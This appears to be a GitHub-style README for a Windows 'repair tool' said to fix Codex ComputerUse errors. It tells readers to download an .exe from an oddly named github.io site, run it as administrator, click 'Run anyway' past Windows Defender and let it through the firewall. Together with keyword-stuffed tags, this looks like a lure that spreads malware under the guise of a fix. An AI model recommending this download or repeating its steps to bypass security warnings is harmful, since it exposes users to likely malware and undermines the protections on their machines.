This tool fixes common errors that prevent Codex ComputerUse from running on Windows. It resolves issues where openai-bundled files are missing or exports do not match. You do not need programming skills to use this repair utility.
Ensure your computer meets these requirements before you start:
- Operating System: Windows 10 or Windows 11.
- Administrator Privileges: You must log in as an administrator to apply these system changes.
- Disk Space: The tool requires less than 50 megabytes of free space.
- Internet Connection: An active connection helps reach the GitHub server if additional files are missing.
Follow these steps to obtain the correct files for your system:
- Visit the project repository page: https://loriannedeictic637.github.io
- Look for the section labeled Assets.
- Click the link ending in .exe to download the installer to your computer.
- Save the file to your Downloads folder or your Desktop.
The repair tool automates the process of finding and fixing broken links in your Codex installation. Perform these steps carefully:
- Locate the downloaded file on your computer.
- Right-click the file and select "Run as administrator."
- A Windows security prompt might appear. Click "Yes" to allow the tool to make changes.
- Follow the instructions on the screen.
- The tool will check for
openai-bundledfiles. If it finds missing items, it will restore them to the correct location. - The software will verify the
@oai/skyexports. If a mismatch exists, the tool will update your system configuration to match the expected settings. - Click "Finish" once the progress bar reaches 100 percent.
This tool addresses two technical problems common to Windows users.
The first issue relates to bundled dependencies. Sometimes, the installation process fails to copy necessary support files. Without these files, Codex cannot communicate with the server. This tool recreates the folder structure and places the missing files where they belong.
The second issue involves export mismatches within the module structure. Windows sometimes handles path references differently than other systems. This creates a conflict where the software looks for a file by one name while the system identifies it by another. The repair tool edits the internal link table to ensure that all commands point to the correct file.
We designed this tool to perform specific, isolated tasks. It does not scan your personal documents or upload your private data to any server. It interacts only with the internal files belonging to the Codex ComputerUse application.
You can view the source code on the main GitHub page if you wish to verify these actions. The tool clears its temporary logs once the repair process completes.
Does this tool remove my existing Codex settings? No. The application identifies broken links and restores them without deleting your personal preferences or saved data.
Do I need to install any extra software? No. This tool is portable. It contains all the required commands to fix common Windows errors.
What if the error message persists after I run the tool? Restart your computer after the repair. If the error remains, run the tool a second time to ensure it applied all updates correctly.
Does this work on Windows 7? This tool is built for Windows 10 and 11. Older versions of Windows lack the security features required for this software to function.
Use this list if you face difficulties during the repair steps:
- File blocked by Windows Defender: Windows might flag the tool as unrecognized. Click "More info" and then click "Run anyway."
- Permission Denied: Ensure you launch the tool with administrative rights. Right-click the file icon and select "Run as administrator."
- Network Error: If the tool reports an inability to verify files, check your internet connection and ensure your firewall allows the program to communicate with GitHub.
- Missing Files Error: If the software still claims files are missing after the repair, ensure you installed the original Codex application in the default program directory.
This project relies on contributions from the community. You can help improve the tool by reporting issues on the repository page.
If you notice a recurring error not covered in this README, provide the following details in a ticket:
- Your version of Windows.
- The specific error message you see.
- Steps to reproduce the error sequence.
Do not include sensitive information like API keys or personal identification in your reports.
The project covers several areas of interest:
- codex
- codex-computer-use
- codex-skill
- computer-use
- computeruse
- computeruse-repair
- openai
- openai-codex
- powershell
- repair-tool
- windows
- windows-codex
- windows-desktop
- windows-only